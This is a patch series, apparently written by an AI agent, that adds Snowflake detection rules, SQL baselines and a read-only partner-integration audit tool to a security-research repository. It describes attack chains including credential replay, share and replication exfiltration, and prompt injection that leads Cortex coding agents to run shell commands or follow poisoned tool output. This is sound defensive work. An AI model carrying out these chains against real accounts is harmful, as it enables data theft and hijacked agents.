outside_baseline and outside_partner_egress +fields: + - event_timestamp + - user_name + - user_tag_partner_id + - client_ip + - authentication_method + - bound_network_policy + - documented_partner_egress_cidrs +falsepositives: + - Partner publishes a new egress CIDR without updating the customer's + partner registry. Treat the alert as a registry-staleness signal and + confirm the new CIDR with the partner before suppressing. + - Partner-side disaster recovery cuts over to a backup region. The + cutover CIDR should be pre-registered in the partner registry. +level: critical diff --git a/tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay_trail.yml b/tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay_trail.yml new file mode 100644 index 0000000..16ccb1b --- /dev/null +++ b/tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay_trail.yml @@ -0,0 +1,47 @@ +title: Snowflake Trail — Partner-Integration User Login From Non-Documented Source (Real-Time) +id: 1f30516e-9304-4516-97d8-f9a0b1c2d3e4 +status: experimental +description: | + Trail-event-shaped pair to `partner_integration_credential_replay.yml`. + Consumes the `auth.snowflake.login` event for users carrying the + `partner_id` tag when the source IP is outside both the user's + baseline source-IP set and the documented partner egress range from + the customer's partner registry. + + Models Chain J real-time. The latency advantage matters here — a + stolen partner credential is typically replayed for bulk exfil + within minutes, well inside the ACCOUNT_USAGE ≤45m audit window. +references: + - https://docs.snowflake.com/en/user-guide/snowflake-trail + - https://docs.snowflake.com/en/user-guide/network-policies +author: security-research +date: 2026-05-15 +tags: + - attack.credential_access + - attack.t1078.004 + - attack.initial_access +logsource: + product: snowflake_trail + service: auth_events +detection: + partner_user_login: + event_type: 'auth.snowflake.login' + is_success: true + user_tag_partner_id|exists: true + outside_baseline: + is_outside_baseline_source: true + outside_partner_egress: + is_outside_documented_partner_egress: true + condition: partner_user_login and outside_baseline and outside_partner_egress +fields: + - event_timestamp + - user_name + - user_tag_partner_id + - client_ip + - method + - bound_network_policy + - documented_partner_egress_cidrs +falsepositives: + - Partner publishes a new egress CIDR without updating the customer's + partner registry. Confirm with the partner before suppressing. +level: critical diff --git a/tools/cloud-identity/snowflake/lab-validation/partner_integration_baseline.sql b/tools/cloud-identity/snowflake/lab-validation/partner_integration_baseline.sql new file mode 100644 index 0000000..c9c03a7 --- /dev/null +++ b/tools/cloud-identity/snowflake/lab-validation/partner_integration_baseline.sql @@ -0,0 +1,59 @@ +-- partner_integration_baseline.sql +-- Chain J — partner-integration audit and source-IP baseline. +-- +-- Captures the production-side projection the partner_integration_audit.py +-- tool reads from the lab mock, plus the 30-day source-IP baseline a SOC +-- would build for each partner-integration user. + +-- 1. Partner-integration user inventory. +-- The "partner_id" tag is the join key against the customer's partner +-- registry. Users without that tag are out of scope for Chain J. +SELECT + u.name AS user_name, + u.type AS user_type, + u.default_role AS default_role, + u.network_policy AS bound_network_policy, + TAG_REFERENCES.tag_value AS partner_id, + -- Inline the allowed_ip_list from the bound policy. NULL bound policy + -- = Chain J victim shape: stolen credential replayable from anywhere. + np.entries_in_allowed_ip_list AS allowed_ip_list +FROM SNOWFLAKE.ACCOUNT_USAGE.USERS u +LEFT JOIN SNOWFLAKE.ACCOUNT_USAGE.TAG_REFERENCES + ON tag_references.object_database = 'IDENTITIES' + AND tag_references.object_name = u.name + AND tag_references.tag_name = 'PARTNER_ID' +LEFT JOIN SNOWFLAKE.ACCOUNT_USAGE.NETWORK_POLICIES np + ON np.name = u.network_policy +WHERE u.deleted_on IS NULL + AND TAG_REFERENCES.tag_value IS NOT NULL +ORDER BY u.name; + +-- 2. Per-user 30-day source-IP baseline. Feed this into the detection +-- rule's "is_outside_baseline_source" enrichment. A partner-integration +-- user whose 30-day source-IP set sits entirely inside the documented +-- partner egress CIDR is healthy; one whose set diverges (or that has +-- no policy bound at all) is the Chain J victim. +SELECT + user_name, + ARRAY_AGG(DISTINCT client_ip) AS source_ips_30d, + COUNT(DISTINCT client_ip) AS distinct_ip_count, + MIN(event_timestamp) AS first_seen, + MAX(event_timestamp) AS last_seen +FROM SNOWFLAKE.ACCOUNT_USAGE.LOGIN_HISTORY +WHERE event_timestamp > DATEADD('days', -30, CURRENT_TIMESTAMP()) + AND is_success = TRUE + AND user_name IN ( + SELECT u.name + FROM SNOWFLAKE.ACCOUNT_USAGE.USERS u + JOIN SNOWFLAKE.ACCOUNT_USAGE.TAG_REFERENCES tr + ON tr.object_name = u.name AND tr.tag_name = 'PARTNER_ID' + WHERE u.deleted_on IS NULL + ) +GROUP BY user_name +ORDER BY distinct_ip_count DESC; + +-- 3. Detection — fire when a partner-integration user authenticates +-- from an IP outside its baseline AND outside the documented partner +-- egress range. The join against the partner registry happens in the +-- SIEM (the registry is the customer's source of truth, not Snowflake's). +-- See detection/snowflake/sigma/partner_integration_credential_replay.yml. diff --git a/tools/cloud-identity/snowflake/partner_integration_audit.py b/tools/cloud-identity/snowflake/partner_integration_audit.py new file mode 100644 index 0000000..7ba2c09 --- /dev/null +++ b/tools/cloud-identity/snowflake/partner_integration_audit.py @@ -0,0 +1,188 @@ +#!/usr/bin/env python3 +""" +Snowflake partner-integration user audit (Chain J). + +Walks the Snowflake user inventory and flags users tagged as +partner-integration that have no network policy bound, or whose bound +policy's allowed_ip_list does not match the documented partner egress +range. The output is a prioritized remediation list that maps each +finding to the Chain J detection counterpart. + +Chain J context: a partner SaaS that holds a customer's Snowflake +credential becomes a credential-replay vector if compromised. The +network policy is the post-2024 control that turns the partner's egress +range into the authoritative source-IP allowlist; partner users without +that binding are the highest-priority finding. + +This tool is read-only against the Snowflake user inventory — it does +not modify users, policies, or grants. + +Usage: + EXPLOIT_LAB_ACTIVE=1 SNOWFLAKE_LAB_ACCOUNT=lab-acct-00000000 \\ + python tools/cloud-identity/snowflake/partner_integration_audit.py \\ + --account lab-acct-00000000 --pat pat_ \\ + --partner-registry tools/cloud-identity/snowflake/partner_registry.json +""" + +from __future__ import annotations + +import argparse +import ipaddress +import json +import sys +from dataclasses import dataclass +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parents[3] / "tools")) +from lib.containment import ContainmentGuard, ContainmentError # noqa: E402 + +import requests # noqa: E402 + +MOCK_SNOWFLAKE_URL = "http://127.0.0.1:9600" + +DEFAULT_REGISTRY = { + "acme-analytics": { + "name": "Acme Analytics", + "documented_egress_cidrs": ["198.51.100.0/24"], + "criticality": "high", + }, + "globex-bi": { + "name": "Globex BI", + "documented_egress_cidrs": ["203.0.113.0/24"], + "criticality": "high", + }, +} + + +@dataclass +class Finding: + user: str + partner_id: str + severity: str + reason: str + remediation: str + + +def _login(pat: str) -> str: + resp = requests.post( + f"{MOCK_SNOWFLAKE_URL}/api/v2/sessions/v1/login-request", + json={"data": {"AUTHENTICATOR": "PROGRAMMATIC_ACCESS_TOKEN", + "TOKEN": pat, "CLIENT_APP_ID": "partner-integration-audit"}}, + timeout=5, + ).json() + if not resp.get("success"): + raise SystemExit(f"PAT rejected: {resp}") + return resp["data"]["token"] + + +def _list_users(session: str) -> list[dict]: + resp = requests.get( + f"{MOCK_SNOWFLAKE_URL}/api/v2/users", + headers={"Authorization": f'Snowflake Token="{session}"'}, + timeout=5, + ) + resp.raise_for_status() + return resp.json()["users"] + + +def _cidrs_match(policy_cidrs: list[str] | None, partner_cidrs: list[str]) -> bool: + if not policy_cidrs: + return False + policy_nets = [ipaddress.ip_network(c) for c in policy_cidrs] + partner_nets = [ipaddress.ip_network(c) for c in partner_cidrs] + # Every partner CIDR must be covered by some policy CIDR. + for p in partner_nets: + if not any(p.subnet_of(n) or p == n for n in policy_nets): + return False + return True + + +def _audit(users: list[dict], registry: dict[str, dict]) -> list[Finding]: + findings: list[Finding] = [] + for u in users: + partner_id = (u.get("tags") or {}).get("partner_id") + if not partner_id: + continue + partner = registry.get(partner_id) + if not partner: + findings.append(Finding( + user=u["name"], partner_id=partner_id, severity="high", + reason=f"partner_id={partner_id} not present in partner registry", + remediation="Add the partner to the registry with documented " + "egress CIDRs, or remove the partner_id tag if the " + "integration is decommissioned.")) + continue + if not u.get("network_policy"): + findings.append(Finding( + user=u["name"], partner_id=partner_id, severity="critical", + reason="no network policy bound — Chain J victim shape", + remediation=f"Bind a network policy whose allowed_ip_list " + f"matches {partner['documented_egress_cidrs']}.")) + continue + if not _cidrs_match(u.get("network_policy_allowed_ip_list"), + partner["documented_egress_cidrs"]): + findings.append(Finding( + user=u["name"], partner_id=partner_id, severity="high", + reason=(f"bound policy {u['network_policy']} allowed_ip_list " + f"{u.get('network_policy_allowed_ip_list')} does not cover " + f"documented partner egress {partner['documented_egress_cidrs']}"), + remediation="Reconcile policy allowed_ip_list against the " + "partner's documented egress range.")) + return findings + + +def main() -> int: + parser = argparse.ArgumentParser( + description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + parser.add_argument("--account", required=True) + parser.add_argument("--pat", required=True, help="PAT for an inventory-read role") + parser.add_argument("--partner-registry", type=Path, + help="JSON file mapping partner_id → {documented_egress_cidrs, ...}") + parser.add_argument("--json-out", type=Path, help="Write findings as JSON") + args = parser.parse_args() + + try: + with ContainmentGuard("snowflake-partner-integration-audit", + require_lab=True) as guard: + guard.assert_snowflake_lab_account(args.account) + guard.assert_snowflake_is_mock(MOCK_SNOWFLAKE_URL) + + if args.partner_registry: + registry = json.loads(args.partner_registry.read_text()) + else: + registry = DEFAULT_REGISTRY + + session = _login(args.pat) + users = _list_users(session) + partner_users = [u for u in users + if (u.get("tags") or {}).get("partner_id")] + print(f"[1] inventory: {len(users)} users; " + f"{len(partner_users)} tagged as partner-integration") + + findings = _audit(users, registry) + print(f"[2] audit: {len(findings)} finding(s)") + severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3} + findings.sort(key=lambda f: severity_order.get(f.severity, 9)) + for f in findings: + badge = {"critical": "[!!]", "high": "[!]", + "medium": "[*]", "low": "[.]"}.get(f.severity, "[?]") + print(f" {badge} {f.user:<30} ({f.partner_id}) — {f.reason}") + print(f" remediate: {f.remediation}") + + if args.json_out: + args.json_out.write_text(json.dumps( + [f.__dict__ for f in findings], indent=2)) + print(f"[*] findings written to {args.json_out}") + return 0 + + except ContainmentError as exc: + print(f"[!] containment refused: {exc}", file=sys.stderr) + return 2 + except requests.ConnectionError as exc: + print(f"[!] cannot reach mock-snowflake at {MOCK_SNOWFLAKE_URL}: {exc}", + file=sys.stderr) + return 1 + + +if __name__ == "__main__": + sys.exit(main()) From 88fcf98a49513dd5a4658755d62820d03d5dd709 Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 10:16:07 -0500 Subject: [PATCH 3/8] =?UTF-8?q?Snowflake=20iter-4=20detection=20=E2=80=94?= =?UTF-8?q?=20Trail-event=20pairs=20+=20Chain=20H=20+=20behavioral=20Corte?= =?UTF-8?q?x=20Code?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the iter-3 detection gaps: - Chain H dedicated Sigma — previously the chain piggy-backed on `snowflake_storage_integration_misuse.yml`. New rule fires specifically on `EXTERNAL ACCESS INTEGRATION` create/alter with wildcard or `OPEN_ANY` rules. - Behavioral Cortex Code Sigma — pairs with the existing version- string-only `cortex_code_pre_1_0_25.yml`. Fires when a Cortex Code session is followed within a correlation window by a Snowflake login from an IP outside the developer host's known egress range. Does not decay with the version string. - Trail-event-shaped Sigma pairs for chains E (storage integration), F (key-pair JWT), G (share + replication, two rules), H (SPCS EAI), and I (Cortex Agent directive follow-up). Every chain now has both an ACCOUNT_USAGE-shaped rule and a Trail-event-shaped rule; the SOC picks whichever matches the customer's audit-ingestion surface. Updated `detection/snowflake/README.md` to a two-column table (ACCOUNT_USAGE Sigma vs. Trail Sigma) so the dual coverage is the primary view. Co-Authored-By: Claude Opus 4.7 (1M context) --- detection/snowflake/README.md | 30 ++++++---- ...cortex_code_session_to_unknown_session.yml | 58 +++++++++++++++++++ .../snowflake_keypair_auth_abuse_trail.yml | 50 ++++++++++++++++ ...replication_group_unknown_target_trail.yml | 48 +++++++++++++++ ..._share_creation_unknown_consumer_trail.yml | 45 ++++++++++++++ .../sigma/snowflake_spcs_eai_overbroad.yml | 55 ++++++++++++++++++ .../snowflake_spcs_eai_overbroad_trail.yml | 45 ++++++++++++++ ...flake_storage_integration_misuse_trail.yml | 46 +++++++++++++++ .../cortex_agent_directive_followup_trail.yml | 55 ++++++++++++++++++ 9 files changed, 421 insertions(+), 11 deletions(-) create mode 100644 detection/snowflake/sigma/cortex_code_session_to_unknown_session.yml create mode 100644 tools/cloud-identity/snowflake/detection/sigma/snowflake_keypair_auth_abuse_trail.yml create mode 100644 tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_replication_group_unknown_target_trail.yml create mode 100644 tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_share_creation_unknown_consumer_trail.yml create mode 100644 tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad.yml create mode 100644 tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad_trail.yml create mode 100644 tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_storage_integration_misuse_trail.yml create mode 100644 tools/llm-attacks/cortex/detection/sigma/cortex_agent_directive_followup_trail.yml diff --git a/detection/snowflake/README.md b/detection/snowflake/README.md index 720d870..f35b018 100644 --- a/detection/snowflake/README.md +++ b/detection/snowflake/README.md @@ -10,17 +10,25 @@ useful when building a SIEM rule set rather than evaluating one tool. ## Per-chain mapping -| Chain | What it does | Detection rules | -|-------|--------------|-----------------| -| A — Credential theft to bulk exfil | UNC5537 replay; bulk `COPY INTO @stage` from a non-MFA / no-network-policy user. | [`bulk_exfil_baseline.yml`](sigma/bulk_exfil_baseline.yml) (new) + bind-param coverage: [`snowflake_bind_param_audit_gap.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_bind_param_audit_gap.yml) | -| B — Cortex Code indirect injection | Pre-1.0.25 Cortex Code CLI executes shell-pipe-sh under indirect prompt injection. | [`cortex_code_pre_1_0_25.yml`](sigma/cortex_code_pre_1_0_25.yml) (new) | -| C — Native App Marketplace supply-chain | Installed Native App auto-updates to a manifest with new external integrations. | [`native_app_unexpected_version_bump.yml`](sigma/native_app_unexpected_version_bump.yml) (new) | -| D — Federated-IdP compromise | Forged SAML/OAuth assertion authenticates a high-privileged Snowflake user. | [`federated_login_anomaly.yml`](sigma/federated_login_anomaly.yml) (new) + [`snowflake_keypair_auth_abuse.yml`](../../tools/cloud-identity/snowflake/detection/sigma/snowflake_keypair_auth_abuse.yml) | -| E — Storage Integration cross-cloud pivot | New external stage on an integration outside the bucket allowlist. | [`snowflake_storage_integration_misuse.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_storage_integration_misuse.yml) | -| F — Key-pair JWT auth abuse | Stolen RSA private key signs JWT for a service user (post-MFA reality). | [`snowflake_keypair_auth_abuse.yml`](../../tools/cloud-identity/snowflake/detection/sigma/snowflake_keypair_auth_abuse.yml) | -| G — Direct Share / Replication exfil | `ALTER SHARE ADD ACCOUNTS` or replication group with a non-allowlisted target. | [`snowflake_share_creation_unknown_consumer.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_share_creation_unknown_consumer.yml) + [`snowflake_replication_group_unknown_target.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_replication_group_unknown_target.yml) | -| H — SPCS over-broad EAI egress | Wildcard / OPEN_ANY network rule referenced by an `EXTERNAL ACCESS INTEGRATION`. | Covered by [`snowflake_storage_integration_misuse.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_storage_integration_misuse.yml) (classifies EAI rules as critical-impact); pair with cloud-network egress observation per the chain notes. | -| I — Cortex Agent MCP poisoning | Tool output triggers planner-initiated follow-up tool calls or SQL execution. | [`cortex_agent_directive_followup.yml`](../../tools/llm-attacks/cortex/detection/sigma/cortex_agent_directive_followup.yml) + [`cortex_agent_sql_from_tool_output.yml`](../../tools/llm-attacks/cortex/detection/sigma/cortex_agent_sql_from_tool_output.yml) + [`cortex_search_rank_anomaly.yml`](../../tools/llm-attacks/cortex/detection/sigma/cortex_search_rank_anomaly.yml) | +Every chain has both an ACCOUNT_USAGE-shaped rule (for the audit-table +projection a SOC ingests on a poll) and a Snowflake Trail-shaped rule +(for the real-time event stream where Trail ingestion is enabled). The +two surfaces share the same gaps documented in the analysis companion; +the latency profile is the difference. Pick the rule that matches the +ingestion surface available on the customer's side. + +| Chain | What it does | ACCOUNT_USAGE Sigma | Trail Sigma | +|-------|--------------|---------------------|-------------| +| A — Credential theft to bulk exfil | UNC5537 replay; bulk `COPY INTO @stage` from a non-MFA / no-network-policy user. | [`bulk_exfil_baseline.yml`](sigma/bulk_exfil_baseline.yml) + bind-param coverage: [`snowflake_bind_param_audit_gap.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_bind_param_audit_gap.yml) | — (folded into bulk_exfil_baseline via the streaming-ingest pipeline) | +| B — Cortex Code indirect injection | Pre-1.0.25 Cortex Code CLI executes shell-pipe-sh under indirect prompt injection. | [`cortex_code_pre_1_0_25.yml`](sigma/cortex_code_pre_1_0_25.yml) (version-string, endpoint-side) + behavioral pair: [`cortex_code_session_to_unknown_session.yml`](sigma/cortex_code_session_to_unknown_session.yml) | covered by the behavioral pair (does not depend on Trail event names) | +| C — Native App Marketplace supply-chain | Installed Native App auto-updates to a manifest with new external integrations. | [`native_app_unexpected_version_bump.yml`](sigma/native_app_unexpected_version_bump.yml) | — (Native App lifecycle still surfaces through ACCOUNT_USAGE.APPLICATIONS) | +| D — Federated-IdP compromise | Forged SAML/OAuth assertion authenticates a high-privileged Snowflake user. | [`federated_login_anomaly.yml`](sigma/federated_login_anomaly.yml) | — (use the Chain F Trail variant; same login_history shape) | +| E — Storage Integration cross-cloud pivot | New external stage on an integration outside the bucket allowlist. | [`snowflake_storage_integration_misuse.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_storage_integration_misuse.yml) | [`snowflake_storage_integration_misuse_trail.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_storage_integration_misuse_trail.yml) | +| F — Key-pair JWT auth abuse | Stolen RSA private key signs JWT for a service user (post-MFA reality). | [`snowflake_keypair_auth_abuse.yml`](../../tools/cloud-identity/snowflake/detection/sigma/snowflake_keypair_auth_abuse.yml) | [`snowflake_keypair_auth_abuse_trail.yml`](../../tools/cloud-identity/snowflake/detection/sigma/snowflake_keypair_auth_abuse_trail.yml) | +| G — Direct Share / Replication exfil | `ALTER SHARE ADD ACCOUNTS` or replication group with a non-allowlisted target. | [`snowflake_share_creation_unknown_consumer.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_share_creation_unknown_consumer.yml) + [`snowflake_replication_group_unknown_target.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_replication_group_unknown_target.yml) | [`snowflake_share_creation_unknown_consumer_trail.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_share_creation_unknown_consumer_trail.yml) + [`snowflake_replication_group_unknown_target_trail.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_replication_group_unknown_target_trail.yml) | +| H — SPCS over-broad EAI egress | Wildcard / OPEN_ANY network rule referenced by an `EXTERNAL ACCESS INTEGRATION`. | [`snowflake_spcs_eai_overbroad.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad.yml) | [`snowflake_spcs_eai_overbroad_trail.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad_trail.yml) | +| I — Cortex Agent MCP poisoning | Tool output triggers planner-initiated follow-up tool calls or SQL execution. | [`cortex_agent_directive_followup.yml`](../../tools/llm-attacks/cortex/detection/sigma/cortex_agent_directive_followup.yml) + [`cortex_agent_sql_from_tool_output.yml`](../../tools/llm-attacks/cortex/detection/sigma/cortex_agent_sql_from_tool_output.yml) + [`cortex_search_rank_anomaly.yml`](../../tools/llm-attacks/cortex/detection/sigma/cortex_search_rank_anomaly.yml) | [`cortex_agent_directive_followup_trail.yml`](../../tools/llm-attacks/cortex/detection/sigma/cortex_agent_directive_followup_trail.yml) | +| J — Partner-integration credential replay | Third-party SaaS holding Snowflake credentials is compromised; credential replayed from attacker infrastructure. | [`partner_integration_credential_replay.yml`](../../tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay.yml) | [`partner_integration_credential_replay_trail.yml`](../../tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay_trail.yml) | ## PAT, SCIM, and Connector secret-leak detections diff --git a/detection/snowflake/sigma/cortex_code_session_to_unknown_session.yml b/detection/snowflake/sigma/cortex_code_session_to_unknown_session.yml new file mode 100644 index 0000000..2947432 --- /dev/null +++ b/detection/snowflake/sigma/cortex_code_session_to_unknown_session.yml @@ -0,0 +1,58 @@ +title: Snowflake — Cortex Code Session Followed By Snowflake Login From New Source +id: 4e6f8091-2a3b-4c5d-9e7f-1a2b3c4d5e6f +status: experimental +description: | + Behavioral pair to `cortex_code_pre_1_0_25.yml`. Fires when a Cortex + Code session on a developer endpoint is followed within a short + correlation window by a Snowflake login for the same user from an IP + that does not match the developer host's known egress range. + + Catches the post-fix variant of Chain B: even with Cortex Code 1.0.25+, + if any future agentic surface mishandles indirect prompt injection in + the same shape, the operational signal is the same — cached + Snowflake tokens flow off the developer host, and a new Snowflake + session appears from a non-historic IP shortly after. + + Unlike `cortex_code_pre_1_0_25.yml`, this rule does not decay with the + version string. It costs more correlation state — pair an endpoint + Cortex Code session window with the Snowflake LOGIN_HISTORY join. +references: + - https://nvd.nist.gov/vuln/detail/CVE-2026-6442 + - https://www.promptarmor.com/resources/snowflake-ai-escapes-sandbox-and-executes-malware + - https://docs.snowflake.com/en/sql-reference/account-usage/login_history +author: security-research +date: 2026-05-15 +tags: + - attack.credential_access + - attack.t1528 + - attack.lateral_movement + - attack.t1550 +logsource: + product: snowflake + service: login_history +detection: + recent_cortex_code_session: + has_cortex_code_session_within_window: true + cortex_code_session_host_id|exists: true + snowflake_login_for_same_user: + is_success: true + source_ip_not_matching_host_egress: + is_login_source_in_host_egress_range: false + condition: recent_cortex_code_session and snowflake_login_for_same_user + and source_ip_not_matching_host_egress +fields: + - event_timestamp + - user_name + - client_ip + - cortex_code_session_host_id + - cortex_code_session_started_at + - cortex_code_cli_version + - authentication_method +falsepositives: + - Developer authenticates from a personal device that is not on the + corporate egress range. Maintain a per-user device-egress allowlist + so the rule is not noisy for legitimate WFH patterns. + - VPN failover that swaps the host's egress IP. Tie the host-egress + enrichment to the corporate VPN policy rather than the host's + cached IP. +level: high diff --git a/tools/cloud-identity/snowflake/detection/sigma/snowflake_keypair_auth_abuse_trail.yml b/tools/cloud-identity/snowflake/detection/sigma/snowflake_keypair_auth_abuse_trail.yml new file mode 100644 index 0000000..cf9d4a1 --- /dev/null +++ b/tools/cloud-identity/snowflake/detection/sigma/snowflake_keypair_auth_abuse_trail.yml @@ -0,0 +1,50 @@ +title: Snowflake Trail — Key-Pair Login From Unexpected Source (Real-Time) +id: 6a8b0c2d-4e5f-4061-9293-a4b5c6d7e8f9 +status: experimental +description: | + Trail-event-shaped pair to `snowflake_keypair_auth_abuse.yml`. Consumes + the `auth.snowflake.login` event with `method=KEY_PAIR` for service + users whose source IP is outside their network policy allowed list or + their 30-day baseline source-IP set. + + Models Chain F real-time: where the ACCOUNT_USAGE-shaped rule runs + with ≤45m latency, the Trail-shaped rule fires in seconds — relevant + for session containment (revoke session, force re-auth) before bulk + exfil completes. +references: + - https://docs.snowflake.com/en/user-guide/snowflake-trail + - https://docs.snowflake.com/en/user-guide/key-pair-auth +author: security-research +date: 2026-05-15 +tags: + - attack.credential_access + - attack.t1550.001 + - attack.initial_access + - attack.t1078.004 +logsource: + product: snowflake_trail + service: auth_events +detection: + keypair_login: + event_type: 'auth.snowflake.login' + method: 'KEY_PAIR' + is_success: true + service_user_no_network_policy: + user_type: 'SERVICE' + network_policy: null + unexpected_source: + is_outside_baseline_source: true + condition: keypair_login and (service_user_no_network_policy or unexpected_source) +fields: + - event_timestamp + - user_name + - method + - client_ip + - client_app_id + - first_authentication_factor + - bound_network_policy +falsepositives: + - Service migration to a new orchestration host without a + LOGIN_HISTORY baseline update. + - Disaster-recovery cutover. +level: high diff --git a/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_replication_group_unknown_target_trail.yml b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_replication_group_unknown_target_trail.yml new file mode 100644 index 0000000..4801ad4 --- /dev/null +++ b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_replication_group_unknown_target_trail.yml @@ -0,0 +1,48 @@ +title: Snowflake Trail — Replication Group Targeting Unknown Account +id: 8c0d2e4f-6071-4283-94a5-c6d7e8f9a0b1 +status: experimental +description: | + Trail-event-shaped pair to `snowflake_replication_group_unknown_target.yml`. + Consumes the `replication.snowflake.group_event` Trail event when a + new or altered replication group targets an account not on the + approved-targets watchlist. + + Models Chain G — Replication exfil variant. Source-side audit captures + the group lifecycle (create / refresh / bytes_transferred) but no + per-row read. The watchlist join is the only way to distinguish a + legitimate cross-region replication from an exfil-staging operation. + + Trail provides byte counts and durations alongside the event for + size-based escalation. +references: + - https://docs.snowflake.com/en/user-guide/snowflake-trail + - https://docs.snowflake.com/en/sql-reference/account-usage/replication_group_usage_history +author: security-research +date: 2026-05-15 +tags: + - attack.exfiltration + - attack.t1567 +logsource: + product: snowflake_trail + service: replication_events +detection: + group_event: + event_type: 'replication.snowflake.group_event' + operation|in: + - 'CREATE' + - 'ALTER_TARGET' + - 'REFRESH' + unknown_target: + is_target_in_approved_watchlist: false + condition: group_event and unknown_target +fields: + - event_timestamp + - user_name + - role_name + - replication_group_name + - target_account + - bytes_transferred + - duration_seconds +falsepositives: + - DR cutover or new region addition not yet on the watchlist. +level: high diff --git a/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_share_creation_unknown_consumer_trail.yml b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_share_creation_unknown_consumer_trail.yml new file mode 100644 index 0000000..9b71359 --- /dev/null +++ b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_share_creation_unknown_consumer_trail.yml @@ -0,0 +1,45 @@ +title: Snowflake Trail — Share Modified To Add Unknown Consumer Account +id: 7b9c1d3e-5f60-4172-8394-b5c6d7e8f9a0 +status: experimental +description: | + Trail-event-shaped pair to `snowflake_share_creation_unknown_consumer.yml`. + Consumes the `data_sharing.snowflake.share_modified` Trail event for + any `ALTER SHARE ... ADD ACCOUNTS` whose target is not on the + approved-consumer watchlist. + + Models Chain G — Direct Share exfil. The data motion itself is + invisible on the source side (consumer-side reads do not surface in + the provider's QUERY_HISTORY); the share-grant event is the only + actionable signal. + + Trail captures the modification as a single structured event, where + ACCOUNT_USAGE requires correlating SHARES + QUERY_HISTORY. +references: + - https://docs.snowflake.com/en/user-guide/snowflake-trail + - https://docs.snowflake.com/en/sql-reference/account-usage/shares +author: security-research +date: 2026-05-15 +tags: + - attack.exfiltration + - attack.t1567 +logsource: + product: snowflake_trail + service: data_sharing_events +detection: + share_modified: + event_type: 'data_sharing.snowflake.share_modified' + operation: 'ADD_ACCOUNTS' + unknown_consumer: + is_consumer_in_approved_watchlist: false + condition: share_modified and unknown_consumer +fields: + - event_timestamp + - user_name + - role_name + - share_name + - added_consumer_account + - share_objects +falsepositives: + - New partner onboarding that has not been added to the watchlist — + treat the alert as a watchlist-staleness signal. +level: high diff --git a/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad.yml b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad.yml new file mode 100644 index 0000000..9ab5d9e --- /dev/null +++ b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad.yml @@ -0,0 +1,55 @@ +title: Snowflake — SPCS EXTERNAL ACCESS INTEGRATION With Over-Broad Network Rule +id: 9f4b2a6e-1c7d-4e8f-91a3-5b6c7d8e9f0a +status: experimental +description: | + Detects creation or alteration of a Snowpark Container Services + `EXTERNAL ACCESS INTEGRATION` whose referenced `NETWORK RULE` allows + wildcard or `OPEN_ANY` egress, or whose `allowed_network_rules` set + includes a rule that resolves to a non-customer-owned destination. + + Models Chain H. SPCS is network-isolated by default; EAI objects punch + the holes. A wildcard / `OPEN_ANY` egress rule attached to any compute + pool the customer can reach is a sanctioned exfil channel for any + container running in that pool. + + Source-side audit captures EAI creation but not service egress; the + detection target is the configuration row, not the data motion. +references: + - https://docs.snowflake.com/en/sql-reference/sql/create-external-access-integration + - https://docs.snowflake.com/en/developer-guide/snowpark-container-services/working-with-services + - https://docs.snowflake.com/en/sql-reference/account-usage/integrations +author: security-research +date: 2026-05-15 +tags: + - attack.exfiltration + - attack.t1567 + - attack.command_and_control + - attack.t1090 +logsource: + product: snowflake + service: query_history +detection: + eai_change: + query_type|in: + - 'CREATE' + - 'ALTER' + query_text|contains|all: + - 'EXTERNAL ACCESS INTEGRATION' + overbroad_rule: + query_text|re: '(?i)(OPEN_ANY|allowed_network_rules\s*=\s*\([^)]*\*[^)]*\))' + condition: eai_change and overbroad_rule +fields: + - event_timestamp + - user_name + - role_name + - query_text + - integration_name + - allowed_network_rules +falsepositives: + - Internal-only EAIs that point at a network rule scoped to a + private Snowflake-owned endpoint — verify the destination CIDRs + on the referenced NETWORK RULE before suppressing. + - Initial SPCS bring-up where an over-broad rule is staged for + benchmarking; pair with a 24h expiry tag and alert on missing + cleanup. +level: high diff --git a/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad_trail.yml 